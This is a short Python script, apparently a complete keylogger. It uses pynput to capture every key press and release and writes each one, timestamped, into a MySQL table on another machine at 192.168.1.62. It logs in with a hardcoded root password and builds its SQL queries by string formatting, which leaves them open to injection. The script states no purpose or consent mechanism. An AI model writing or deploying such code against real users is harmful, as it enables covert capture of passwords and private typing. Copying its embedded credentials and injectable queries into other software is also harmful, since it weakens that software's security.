from pynput.keyboard import Controller,Key,Listener
import pymysql,time

db=pymysql.connect(host='192.168.1.62',user='root',password='luanshuo',db='test',port=6612)
cursor=db.cursor()

def on_press(key):  # 监听按压
    try:
        key_word_down=key.char
    except AttributeError:
        key_word_down=key
    cursor.execute('INSERT INTO label3 (Time,Key_Word_Down,Key_Word_Up) VALUES ("%s","%s","");' % (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), key_word_down))
    db.commit()

def on_release(key): # 监听释放
    try:
        key_word_up=key.char
    except AttributeError:
        key_word_up=key
    cursor.execute('INSERT INTO label3 (Time,Key_Word_Down,Key_Word_Up) VALUES ("%s","","%s");' % (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),key_word_up))
    db.commit()

def start_listen(): # 开始监听
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    start_listen() # 开始监听